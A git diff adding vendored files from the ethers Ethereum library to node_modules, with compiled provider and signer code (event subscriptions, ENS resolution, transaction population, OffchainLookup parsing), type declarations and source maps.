resolver(bytes32) view returns (address)" + ], this); + const resolver = await ensContract.resolver(node); + if (resolver == null || resolver === index_js_2.ZeroAddress) { + return null; + } + const resolverContract = new index_js_3.Contract(resolver, [ + "function name(bytes32) view returns (string)" + ], this); + const name = await resolverContract.name(node); + // Failed forward resolution + const check = await this.resolveName(name); + if (check !== address) { + return null; + } + return name; + } + catch (error) { + // No data was returned from the resolver + if ((0, index_js_6.isError)(error, "BAD_DATA") && error.value === "0x") { + return null; + } + // Something reerted + if ((0, index_js_6.isError)(error, "CALL_EXCEPTION")) { + return null; + } + throw error; + } + return null; + } + async waitForTransaction(hash, _confirms, timeout) { + const confirms = (_confirms != null) ? _confirms : 1; + if (confirms === 0) { + return this.getTransactionReceipt(hash); + } + return new Promise(async (resolve, reject) => { + let timer = null; + const listener = (async (blockNumber) => { + try { + const receipt = await this.getTransactionReceipt(hash); + if (receipt != null) { + if (blockNumber - receipt.blockNumber + 1 >= confirms) { + resolve(receipt); + //this.off("block", listener); + if (timer) { + clearTimeout(timer); + timer = null; + } + return; + } + } + } + catch (error) { + console.log("EEE", error); + } + this.once("block", listener); + }); + if (timeout != null) { + timer = setTimeout(() => { + if (timer == null) { + return; + } + timer = null; + this.off("block", listener); + reject((0, index_js_6.makeError)("timeout", "TIMEOUT", { reason: "timeout" })); + }, timeout); + } + listener(await this.getBlockNumber()); + }); + } + async waitForBlock(blockTag) { + (0, index_js_6.assert)(false, "not implemented yet", "NOT_IMPLEMENTED", { + operation: "waitForBlock" + }); + } + /** + * Clear a timer created using the [[_setTimeout]] method. + */ + _clearTimeout(timerId) { + const timer = this.#timers.get(timerId); + if (!timer) { + return; + } + if (timer.timer) { + clearTimeout(timer.timer); + } + this.#timers.delete(timerId); + } + /** + * Create a timer that will execute %%func%% after at least %%timeout%% + * (in ms). If %%timeout%% is unspecified, then %%func%% will execute + * in the next event loop. + * + * [Pausing](AbstractProvider-paused) the provider will pause any + * associated timers. + */ + _setTimeout(_func, timeout) { + if (timeout == null) { + timeout = 0; + } + const timerId = this.#nextTimer++; + const func = () => { + this.#timers.delete(timerId); + _func(); + }; + if (this.paused) { + this.#timers.set(timerId, { timer: null, func, time: timeout }); + } + else { + const timer = setTimeout(func, timeout); + this.#timers.set(timerId, { timer, func, time: getTime() }); + } + return timerId; + } + /** + * Perform %%func%% on each subscriber. + */ + _forEachSubscriber(func) { + for (const sub of this.#subs.values()) { + func(sub.subscriber); + } + } + /** + * Sub-classes may override this to customize subscription + * implementations. + */ + _getSubscriber(sub) { + switch (sub.type) { + case "debug": + case "error": + case "network": + return new UnmanagedSubscriber(sub.type); + case "block": { + const subscriber = new subscriber_polling_js_1.PollingBlockSubscriber(this); + subscriber.pollingInterval = this.pollingInterval; + return subscriber; + } + case "safe": + case "finalized": + return new subscriber_polling_js_1.PollingBlockTagSubscriber(this, sub.type); + case "event": + return new subscriber_polling_js_1.PollingEventSubscriber(this, sub.filter); + case "transaction": + return new subscriber_polling_js_1.PollingTransactionSubscriber(this, sub.hash); + case "orphan": + return new subscriber_polling_js_1.PollingOrphanSubscriber(this, sub.filter); + } + throw new Error(`unsupported event: ${sub.type}`); + } + /** + * If a [[Subscriber]] fails and needs to replace itself, this + * method may be used. + * + * For example, this is used for providers when using the + * ``eth_getFilterChanges`` method, which can return null if state + * filters are not supported by the backend, allowing the Subscriber + * to swap in a [[PollingEventSubscriber]]. + */ + _recoverSubscriber(oldSub, newSub) { + for (const sub of this.#subs.values()) { + if (sub.subscriber === oldSub) { + if (sub.started) { + sub.subscriber.stop(); + } + sub.subscriber = newSub; + if (sub.started) { + newSub.start(); + } + if (this.#pausedState != null) { + newSub.pause(this.#pausedState); + } + break; + } + } + } + async #hasSub(event, emitArgs) { + let sub = await getSubscription(event, this); + // This is a log that is removing an existing log; we actually want + // to emit an orphan event for the removed log + if (sub.type === "event" && emitArgs && emitArgs.length > 0 && emitArgs[0].removed === true) { + sub = await getSubscription({ orphan: "drop-log", log: emitArgs[0] }, this); + } + return this.#subs.get(sub.tag) || null; + } + async #getSub(event) { + const subscription = await getSubscription(event, this); + // Prevent tampering with our tag in any subclass' _getSubscriber + const tag = subscription.tag; + let sub = this.#subs.get(tag); + if (!sub) { + const subscriber = this._getSubscriber(subscription); + const addressableMap = new WeakMap(); + const nameMap = new Map(); + sub = { subscriber, tag, addressableMap, nameMap, started: false, listeners: [] }; + this.#subs.set(tag, sub); + } + return sub; + } + async on(event, listener) { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: false }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { + sub.subscriber.pause(this.#pausedState); + } + } + return this; + } + async once(event, listener) { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: true }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { + sub.subscriber.pause(this.#pausedState); + } + } + return this; + } + async emit(event, ...args) { + const sub = await this.#hasSub(event, args); + // If there is not subscription or if a recent emit removed + // the last of them (which also deleted the sub) do nothing + if (!sub || sub.listeners.length === 0) { + return false; + } + ; + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const payload = new index_js_6.EventPayload(this, (once ? null : listener), event); + try { + listener.call(this, ...args, payload); + } + catch (error) { } + return !once; + }); + if (sub.listeners.length === 0) { + if (sub.started) { + sub.subscriber.stop(); + } + this.#subs.delete(sub.tag); + } + return (count > 0); + } + async listenerCount(event) { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { + return 0; + } + return sub.listeners.length; + } + let total = 0; + for (const { listeners } of this.#subs.values()) { + total += listeners.length; + } + return total; + } + async listeners(event) { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { + return []; + } + return sub.listeners.map(({ listener }) => listener); + } + let result = []; + for (const { listeners } of this.#subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + async off(event, listener) { + const sub = await this.#hasSub(event); + if (!sub) { + return this; + } + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { + sub.listeners.splice(index, 1); + } + } + if (!listener || sub.listeners.length === 0) { + if (sub.started) { + sub.subscriber.stop(); + } + this.#subs.delete(sub.tag); + } + return this; + } + async removeAllListeners(event) { + if (event) { + const { tag, started, subscriber } = await this.#getSub(event); + if (started) { + subscriber.stop(); + } + this.#subs.delete(tag); + } + else { + for (const [tag, { started, subscriber }] of this.#subs) { + if (started) { + subscriber.stop(); + } + this.#subs.delete(tag); + } + } + return this; + } + // Alias for "on" + async addListener(event, listener) { + return await this.on(event, listener); + } + // Alias for "off" + async removeListener(event, listener) { + return this.off(event, listener); + } + /** + * If this provider has been destroyed using the [[destroy]] method. + * + * Once destroyed, all resources are reclaimed, internal event loops + * and timers are cleaned up and no further requests may be sent to + * the provider. + */ + get destroyed() { + return this.#destroyed; + } + /** + * Sub-classes may use this to shutdown any sockets or release their + * resources and reject any pending requests. + * + * Sub-classes **must** call ``super.destroy()``. + */ + destroy() { + // Stop all listeners + this.removeAllListeners(); + // Shut down all tiemrs + for (const timerId of this.#timers.keys()) { + this._clearTimeout(timerId); + } + this.#destroyed = true; + } + /** + * Whether the provider is currently paused. + * + * A paused provider will not emit any events, and generally should + * not make any requests to the network, but that is up to sub-classes + * to manage. + * + * Setting ``paused = true`` is identical to calling ``.pause(false)``, + * which will buffer any events that occur while paused until the + * provider is unpaused. + */ + get paused() { return (this.#pausedState != null); } + set paused(pause) { + if (!!pause === this.paused) { + return; + } + if (this.paused) { + this.resume(); + } + else { + this.pause(false); + } + } + /** + * Pause the provider. If %%dropWhilePaused%%, any events that occur + * while paused are dropped, otherwise all events will be emitted once + * the provider is unpaused. + */ + pause(dropWhilePaused) { + this.#lastBlockNumber = -1; + if (this.#pausedState != null) { + if (this.#pausedState == !!dropWhilePaused) { + return; + } + (0, index_js_6.assert)(false, "cannot change pause type; resume first", "UNSUPPORTED_OPERATION", { + operation: "pause" + }); + } + this._forEachSubscriber((s) => s.pause(dropWhilePaused)); + this.#pausedState = !!dropWhilePaused; + for (const timer of this.#timers.values()) { + // Clear the timer + if (timer.timer) { + clearTimeout(timer.timer); + } + // Remaining time needed for when we become unpaused + timer.time = getTime() - timer.time; + } + } + /** + * Resume the provider. + */ + resume() { + if (this.#pausedState == null) { + return; + } + this._forEachSubscriber((s) => s.resume()); + this.#pausedState = null; + for (const timer of this.#timers.values()) { + // Remaining time when we were paused + let timeout = timer.time; + if (timeout < 0) { + timeout = 0; + } + // Start time (in cause paused, so we con compute remaininf time) + timer.time = getTime(); + // Start the timer + setTimeout(timer.func, timeout); + } + } +} +exports.AbstractProvider = AbstractProvider; +function _parseString(result, start) { + try { + const bytes = _parseBytes(result, start); + if (bytes) { + return (0, index_js_6.toUtf8String)(bytes); + } + } + catch (error) { } + return null; +} +function _parseBytes(result, start) { + if (result === "0x") { + return null; + } + try { + const offset = (0, index_js_6.getNumber)((0, index_js_6.dataSlice)(result, start, start + 32)); + const length = (0, index_js_6.getNumber)((0, index_js_6.dataSlice)(result, offset, offset + 32)); + return (0, index_js_6.dataSlice)(result, offset + 32, offset + 32 + length); + } + catch (error) { } + return null; +} +function numPad(value) { + const result = (0, index_js_6.toBeArray)(value); + if (result.length > 32) { + throw new Error("internal; should not happen"); + } + const padded = new Uint8Array(32); + padded.set(result, 32 - result.length); + return padded; +} +function bytesPad(value) { + if ((value.length % 32) === 0) { + return value; + } + const result = new Uint8Array(Math.ceil(value.length / 32) * 32); + result.set(value); + return result; +} +const empty = new Uint8Array([]); +// ABI Encodes a series of (bytes, bytes, ...) +function encodeBytes(datas) { + const result = []; + let byteCount = 0; + // Add place-holders for pointers as we add items + for (let i = 0; i < datas.length; i++) { + result.push(empty); + byteCount += 32; + } + for (let i = 0; i < datas.length; i++) { + const data = (0, index_js_6.getBytes)(datas[i]); + // Update the bytes offset + result[i] = numPad(byteCount); + // The length and padded value of data + result.push(numPad(data.length)); + result.push(bytesPad(data)); + byteCount += 32 + Math.ceil(data.length / 32) * 32; + } + return (0, index_js_6.concat)(result); +} +const zeros = "0x0000000000000000000000000000000000000000000000000000000000000000"; +function parseOffchainLookup(data) { + const result = { + sender: "", urls: [], calldata: "", selector: "", extraData: "", errorArgs: [] + }; + (0, index_js_6.assert)((0, index_js_6.dataLength)(data) >= 5 * 32, "insufficient OffchainLookup data", "OFFCHAIN_FAULT", { + reason: "insufficient OffchainLookup data" + }); + const sender = (0, index_js_6.dataSlice)(data, 0, 32); + (0, index_js_6.assert)((0, index_js_6.dataSlice)(sender, 0, 12) === (0, index_js_6.dataSlice)(zeros, 0, 12), "corrupt OffchainLookup sender", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup sender" + }); + result.sender = (0, index_js_6.dataSlice)(sender, 12); + // Read the URLs from the response + try { + const urls = []; + const urlsOffset = (0, index_js_6.getNumber)((0, index_js_6.dataSlice)(data, 32, 64)); + const urlsLength = (0, index_js_6.getNumber)((0, index_js_6.dataSlice)(data, urlsOffset, urlsOffset + 32)); + const urlsData = (0, index_js_6.dataSlice)(data, urlsOffset + 32); + for (let u = 0; u < urlsLength; u++) { + const url = _parseString(urlsData, u * 32); + if (url == null) { + throw new Error("abort"); + } + urls.push(url); + } + result.urls = urls; + } + catch (error) { + (0, index_js_6.assert)(false, "corrupt OffchainLookup urls", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup urls" + }); + } + // Get the CCIP calldata to forward + try { + const calldata = _parseBytes(data, 64); + if (calldata == null) { + throw new Error("abort"); + } + result.calldata = calldata; + } + catch (error) { + (0, index_js_6.assert)(false, "corrupt OffchainLookup calldata", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup calldata" + }); + } + // Get the callbackSelector (bytes4) + (0, index_js_6.assert)((0, index_js_6.dataSlice)(data, 100, 128) === (0, index_js_6.dataSlice)(zeros, 0, 28), "corrupt OffchainLookup callbaackSelector", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup callbaackSelector" + }); + result.selector = (0, index_js_6.dataSlice)(data, 96, 100); + // Get the extra data to send back to the contract as context + try { + const extraData = _parseBytes(data, 128); + if (extraData == null) { + throw new Error("abort"); + } + result.extraData = extraData; + } + catch (error) { + (0, index_js_6.assert)(false, "corrupt OffchainLookup extraData", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup extraData" + }); + } + result.errorArgs = "sender,urls,calldata,selector,extraData".split(/,/).map((k) => result[k]); + return result; +} +//# sourceMappingURL=abstract-provider.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/abstract-provider.js.map b/node_modules/ethers/lib.commonjs/providers/abstract-provider.js.map new file mode 100644 index 000000000000..d08b8a659ea4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/abstract-provider.js.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-provider.js","sourceRoot":"","sources":["../../src.ts/providers/abstract-provider.ts"],"names":[],"mappings":";AAAA;;;;;;GAMG;;;AAEH,QAAQ;AACR,oBAAoB;AACpB,4EAA4E;AAC5E,4EAA4E;AAC5E,6EAA6E;AAC7E,6EAA6E;AAC7E,2EAA2E;AAE3E,kDAAiE;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d.ts b/node_modules/ethers/lib.commonjs/providers/abstract-signer.d.ts new file mode 100644 index 000000000000..f753dde20bc7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/abstract-signer.d.ts @@ -0,0 +1,69 @@ +import type { AuthorizationRequest, TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { Authorization, TransactionLike } from "../transaction/index.js"; +import type { BlockTag, Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +import type { Signer } from "./signer.js"; +/** + * An **AbstractSigner** includes most of teh functionality required + * to get a [[Signer]] working as expected, but requires a few + * Signer-specific methods be overridden. + * + */ +export declare abstract class AbstractSigner

    implements Signer { + /** + * The provider this signer is connected to. + */ + readonly provider: P; + /** + * Creates a new Signer connected to %%provider%%. + */ + constructor(provider?: P); + /** + * Resolves to the Signer address. + */ + abstract getAddress(): Promise; + /** + * Returns the signer connected to %%provider%%. + * + * This may throw, for example, a Signer connected over a Socket or + * to a specific instance of a node may not be transferrable. + */ + abstract connect(provider: null | Provider): Signer; + getNonce(blockTag?: BlockTag): Promise; + populateCall(tx: TransactionRequest): Promise>; + populateTransaction(tx: TransactionRequest): Promise>; + populateAuthorization(_auth: AuthorizationRequest): Promise; + estimateGas(tx: TransactionRequest): Promise; + call(tx: TransactionRequest): Promise; + resolveName(name: string): Promise; + sendTransaction(tx: TransactionRequest): Promise; + authorize(authorization: AuthorizationRequest): Promise; + abstract signTransaction(tx: TransactionRequest): Promise; + abstract signMessage(message: string | Uint8Array): Promise; + abstract signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; +} +/** + * A **VoidSigner** is a class deisgned to allow an address to be used + * in any API which accepts a Signer, but for which there are no + * credentials available to perform any actual signing. + * + * This for example allow impersonating an account for the purpose of + * static calls or estimating gas, but does not allow sending transactions. + */ +export declare class VoidSigner extends AbstractSigner { + #private; + /** + * The signer address. + */ + readonly address: string; + /** + * Creates a new **VoidSigner** with %%address%% attached to + * %%provider%%. + */ + constructor(address: string, provider?: null | Provider); + getAddress(): Promise; + connect(provider: null | Provider): VoidSigner; + signTransaction(tx: TransactionRequest): Promise; + signMessage(message: string | Uint8Array): Promise; + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; +} +//# sourceMappingURL=abstract-signer.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/abstract-signer.d.ts.map b/node_modules/ethers/lib.commonjs/providers/abstract-signer.d.ts.map new file mode 100644 index 000000000000..6d2c1c6fe839 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/abstract-signer.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-signer.d.ts","sourceRoot":"","sources":["../../src.ts/providers/abstract-signer.ts"],"names":[],"mappings":"AAgBA,OAAO,KAAK,EACR,oBAAoB,EAAE,eAAe,EAAE,cAAc,EACxD,MAAM,kBAAkB,CAAC;AAC1B,OAAO,KAAK,EAAE,aAAa,EAAE,eAAe,EAAE,MAAM,yBAAyB,CAAC;AAE9E,OAAO,KAAK,EACR,QAAQ,EAAE,QAAQ,EAAE,kBAAkB,EAAE,mBAAmB,EAC9D,MAAM,eAAe,CAAC;AACvB,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AA8B1C;;;;;GAKG;AACH,8BAAsB,cAAc,CAAC,CAAC,SAAS,IAAI,GAAG,QAAQ,GAAG,IAAI,GAAG,QAAQ,CAAE,YAAW,MAAM;IAC/F;;OAEG;IACH,QAAQ,CAAC,QAAQ,EAAG,CAAC,CAAC;IAEtB;;OAEG;gBACS,QAAQ,CAAC,EAAE,CAAC;IAIxB;;OAEG;IACH,QAAQ,CAAC,UAAU,IAAI,OAAO,CAAC,MAAM,CAAC;IAEtC;;;;;OAKG;IACH,QAAQ,CAAC,OAAO,CAAC,QAAQ,EAAE,IAAI,GAAG,QAAQ,GAAG,MAAM;IAE7C,QAAQ,CAAC,QAAQ,CAAC,EAAE,QAAQ,GAAG,OAAO,CAAC,MAAM,CAAC;IAI9C,YAAY,CAAC,EAAE,E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Q,EAAE,IAAI,GAAG,QAAQ,GAAG,UAAU;IAQxC,eAAe,CAAC,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAIxD,WAAW,CAAC,OAAO,EAAE,MAAM,GAAG,UAAU,GAAG,OAAO,CAAC,MAAM,CAAC;IAI1D,aAAa,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC;CAG1I"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/abstract-signer.js b/node_modules/ethers/lib.commonjs/providers/abstract-signer.js new file mode 100644 index 000000000000..fd15c4ea4195 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/abstract-signer.js @@ -0,0 +1,249 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.VoidSigner = exports.AbstractSigner = void 0; +/** + * Generally the [[Wallet]] and [[JsonRpcSigner]] and their sub-classes + * are sufficent for most developers, but this is provided to + * fascilitate more complex Signers. + * + * @_section: api/providers/abstract-signer: Subclassing Signer [abstract-signer] + */ +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../transaction/index.js"); +const index_js_3 = require("../utils/index.js"); +const provider_js_1 = require("./provider.js"); +function checkProvider(signer, operation) { + if (signer.provider) { + return signer.provider; + } + (0, index_js_3.assert)(false, "missing provider", "UNSUPPORTED_OPERATION", { operation }); +} +async function populate(signer, tx) { + let pop = (0, provider_js_1.copyRequest)(tx); + if (pop.to != null) { + pop.to = (0, index_js_1.resolveAddress)(pop.to, signer); + } + if (pop.from != null) { + const from = pop.from; + pop.from = Promise.all([ + signer.getAddress(), + (0, index_js_1.resolveAddress)(from, signer) + ]).then(([address, from]) => { + (0, index_js_3.assertArgument)(address.toLowerCase() === from.toLowerCase(), "transaction from mismatch", "tx.from", from); + return address; + }); + } + else { + pop.from = signer.getAddress(); + } + return await (0, index_js_3.resolveProperties)(pop); +} +/** + * An **AbstractSigner** includes most of teh functionality required + * to get a [[Signer]] working as expected, but requires a few + * Signer-specific methods be overridden. + * + */ +class AbstractSigner { + /** + * The provider this signer is connected to. + */ + provider; + /** + * Creates a new Signer connected to %%provider%%. + */ + constructor(provider) { + (0, index_js_3.defineProperties)(this, { provider: (provider || null) }); + } + async getNonce(blockTag) { + return checkProvider(this, "getTransactionCount").getTransactionCount(await this.getAddress(), blockTag); + } + async populateCall(tx) { + const pop = await populate(this, tx); + return pop; + } + async populateTransaction(tx) { + const provider = checkProvider(this, "populateTransaction"); + const pop = await populate(this, tx); + if (pop.nonce == null) { + pop.nonce = await this.getNonce("pending"); + } + if (pop.gasLimit == null) { + pop.gasLimit = await this.estimateGas(pop); + } + // Populate the chain ID + const network = await (this.provider).getNetwork(); + if (pop.chainId != null) { + const chainId = (0, index_js_3.getBigInt)(pop.chainId); + (0, index_js_3.assertArgument)(chainId === network.chainId, "transaction chainId mismatch", "tx.chainId", tx.chainId); + } + else { + pop.chainId = network.chainId; + } + // Do not allow mixing pre-eip-1559 and eip-1559 properties + const hasEip1559 = (pop.maxFeePerGas != null || pop.maxPriorityFeePerGas != null); + if (pop.gasPrice != null && (pop.type === 2 || hasEip1559)) { + (0, index_js_3.assertArgument)(false, "eip-1559 transaction do not support gasPrice", "tx", tx); + } + else if ((pop.type === 0 || pop.type === 1) && hasEip1559) { + (0, index_js_3.assertArgument)(false, "pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "tx", tx); + } + if ((pop.type === 2 || pop.type == null) && (pop.maxFeePerGas != null && pop.maxPriorityFeePerGas != null)) { + // Fully-formed EIP-1559 transaction (skip getFeeData) + pop.type = 2; + } + else if (pop.type === 0 || pop.type === 1) { + // Explicit Legacy or EIP-2930 transaction + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + (0, index_js_3.assert)(feeData.gasPrice != null, "network does not support gasPrice", "UNSUPPORTED_OPERATION", { + operation: "getGasPrice" + }); + // Populate missing gasPrice + if (pop.gasPrice == null) { + pop.gasPrice = feeData.gasPrice; + } + } + else { + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + if (pop.type == null) { + // We need to auto-detect the intended type of this transaction... + if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) { + // The network supports EIP-1559! + // Upgrade transaction from null to eip-1559 + if (pop.authorizationList && pop.authorizationList.length) { + pop.type = 4; + } + else { + pop.type = 2; + } + if (pop.gasPrice != null) { + // Using legacy gasPrice property on an eip-1559 network, + // so use gasPrice as both fee properties + const gasPrice = pop.gasPrice; + delete pop.gasPrice; + pop.maxFeePerGas = gasPrice; + pop.maxPriorityFeePerGas = gasPrice; + } + else { + // Populate missing fee data + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + } + else if (feeData.gasPrice != null) { + // Network doesn't support EIP-1559... + // ...but they are trying to use EIP-1559 properties + (0, index_js_3.assert)(!hasEip1559, "network does not support EIP-1559", "UNSUPPORTED_OPERATION", { + operation: "populateTransaction" + }); + // Populate missing fee data + if (pop.gasPrice == null) { + pop.gasPrice = feeData.gasPrice; + } + // Explicitly set untyped transaction to legacy + // @TODO: Maybe this shold allow type 1? + pop.type = 0; + } + else { + // getFeeData has failed us. + (0, index_js_3.assert)(false, "failed to get consistent fee data", "UNSUPPORTED_OPERATION", { + operation: "signer.getFeeData" + }); + } + } + else if (pop.type === 2 || pop.type === 3 || pop.type === 4) { + // Explicitly using EIP-1559 or EIP-4844 + // Populate missing fee data + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + } + //@TOOD: Don't await all over the place; save them up for + // the end for better batching + return await (0, index_js_3.resolveProperties)(pop); + } + async populateAuthorization(_auth) { + const auth = Object.assign({}, _auth); + // Add a chain ID if not explicitly set to 0 + if (auth.chainId == null) { + auth.chainId = (await checkProvider(this, "getNetwork").getNetwork()).chainId; + } + // @TODO: Take chain ID into account when populating noce? + if (auth.nonce == null) { + auth.nonce = await this.getNonce(); + } + return auth; + } + async estimateGas(tx) { + return checkProvider(this, "estimateGas").estimateGas(await this.populateCall(tx)); + } + async call(tx) { + return checkProvider(this, "call").call(await this.populateCall(tx)); + } + async resolveName(name) { + const provider = checkProvider(this, "resolveName"); + return await provider.resolveName(name); + } + async sendTransaction(tx) { + const provider = checkProvider(this, "sendTransaction"); + const pop = await this.populateTransaction(tx); + delete pop.from; + const txObj = index_js_2.Transaction.from(pop); + return await provider.broadcastTransaction(await this.signTransaction(txObj)); + } + // @TODO: in v7 move this to be abstract + authorize(authorization) { + (0, index_js_3.assert)(false, "authorization not implemented for this signer", "UNSUPPORTED_OPERATION", { operation: "authorize" }); + } +} +exports.AbstractSigner = AbstractSigner; +/** + * A **VoidSigner** is a class deisgned to allow an address to be used + * in any API which accepts a Signer, but for which there are no + * credentials available to perform any actual signing. + * + * This for example allow impersonating an account for the purpose of + * static calls or estimating gas, but does not allow sending transactions. + */ +class VoidSigner extends AbstractSigner { + /** + * The signer address. + */ + address; + /** + * Creates a new **VoidSigner** with %%address%% attached to + * %%provider%%. + */ + constructor(address, provider) { + super(provider); + (0, index_js_3.defineProperties)(this, { address }); + } + async getAddress() { return this.address; } + connect(provider) { + return new VoidSigner(this.address, provider); + } + #throwUnsupported(suffix, operation) { + (0, index_js_3.assert)(false, `VoidSigner cannot sign ${suffix}`, "UNSUPPORTED_OPERATION", { operation }); + } + async signTransaction(tx) { + this.#throwUnsupported("transactions", "signTransaction"); + } + async signMessage(message) { + this.#throwUnsupported("messages", "signMessage"); + } + async signTypedData(domain, types, value) { + this.#throwUnsupported("typed-data", "signTypedData"); + } +} +exports.VoidSigner = VoidSigner; +//# sourceMappingURL=abstract-signer.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/abstract-signer.js.map b/node_modules/ethers/lib.commonjs/providers/abstract-signer.js.map new file mode 100644 index 000000000000..1f32a9dc0a25 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/abstract-signer.js.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-signer.js","sourceRoot":"","sources":["../../src.ts/providers/abstract-signer.ts"],"names":[],"mappings":";;;AAAA;;;;;;GAMG;AACH,kDAAqD;AACrD,sDAAsD;AACtD,gDAG2B;AAE3B,+CAA4C;AAY5C,SAAS,aAAa,CAAC,MAAsB,EAAE,SAAiB;IAC5D,IAAI,MAAM,CAAC,QAAQ,EAAE;QAAE,OAAO,MAAM,CAAC,QAAQ,CAAC;KAAE;IAChD,IAAA,iBAAM,EAAC,KAAK,EAAE,kBAAkB,EAAE,uBAAuB,EAAE,EAAE,SAAS,EAAE,CAAC,CAAC;AAC9E,CAAC;AAED,KAAK,UAAU,QAAQ,CAAC,MAAsB,EAAE,EAAsB;IAClE,IAAI,GAAG,GAAQ,IAAA,yBAAW,EAAC,EAAE,CAAC,CAAC;IAE/B,IAAI,GAAG,CAAC,EAAE,IAAI,IAAI,EAAE;QAAE,GAAG,CAAC,EAAE,GAAG,IAAA,yBAAc,EAAC,GAAG,CAAC,EAAE,EAAE,MAAM,CAAC,CAAC;KAAE;IAEhE,IAAI,GAAG,CAAC,IAAI,IAAI,IAAI,EAAE;QAClB,MAAM,IAAI,GAAG,GAAG,CAAC,IAAI,CAAC;QACtB,GAAG,CAAC,IAAI,GAAG,OAAO,CAAC,GAAG,CAAC;YACnB,MAAM,CAAC,UAAU,EAAE;YACnB,IAAA,yBAAc,EAAC,IAAI,EAAE,MAAM,CAAC;SAC/B,CAAC,CAAC,IAAI,CAAC,CAAC,CAAE,OAAO,EAAE,IAAI,CAAE,EAAE,EAAE;YAC1B,IAAA,yBAAc,EAAC,OAAO,CAAC,WAAW,EAAE,KAAK,IA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AA4C,EAAE,KAA0B;QACjH,IAAI,CAAC,iBAAiB,CAAC,YAAY,EAAE,eAAe,CAAC,CAAC;IAC1D,CAAC;CACJ;AApCD,gCAoCC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/community.d.ts b/node_modules/ethers/lib.commonjs/providers/community.d.ts new file mode 100644 index 000000000000..db64d2db5d90 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/community.d.ts @@ -0,0 +1,29 @@ +/** + * There are many awesome community services that provide Ethereum + * nodes both for developers just starting out and for large-scale + * communities. + * + * @_section: api/providers/thirdparty: Community Providers [thirdparty] + */ +/** + * Providers which offer community credentials should extend this + * to notify any interested consumers whether community credentials + * are in-use. + */ +export interface CommunityResourcable { + /** + * Returns true if the instance is connected using the community + * credentials. + */ + isCommunityResource(): boolean; +} +/** + * Displays a warning in the console when the community resource is + * being used too heavily by the app, recommending the developer + * acquire their own credentials instead of using the community + * credentials. + * + * The notification will only occur once per service. + */ +export declare function showThrottleMessage(service: string): void; +//# sourceMappingURL=community.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/community.d.ts.map b/node_modules/ethers/lib.commonjs/providers/community.d.ts.map new file mode 100644 index 000000000000..ffecbb46012d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/community.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"community.d.ts","sourceRoot":"","sources":["../../src.ts/providers/community.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH;;;;GAIG;AACH,MAAM,WAAW,oBAAoB;IACjC;;;OAGG;IACH,mBAAmB,IAAI,OAAO,CAAC;CAClC;AAKD;;;;;;;GAOG;AACH,wBAAgB,mBAAmB,CAAC,OAAO,EAAE,MAAM,GAAG,IAAI,CAgBzD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/community.js b/node_modules/ethers/lib.commonjs/providers/community.js new file mode 100644 index 000000000000..db40e1a06b20 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/community.js @@ -0,0 +1,40 @@ +"use strict"; +/** + * There are many awesome community services that provide Ethereum + * nodes both for developers just starting out and for large-scale + * communities. + * + * @_section: api/providers/thirdparty: Community Providers [thirdparty] + */ +Object.defineProperty(exports, "__esModule", { value: true }); 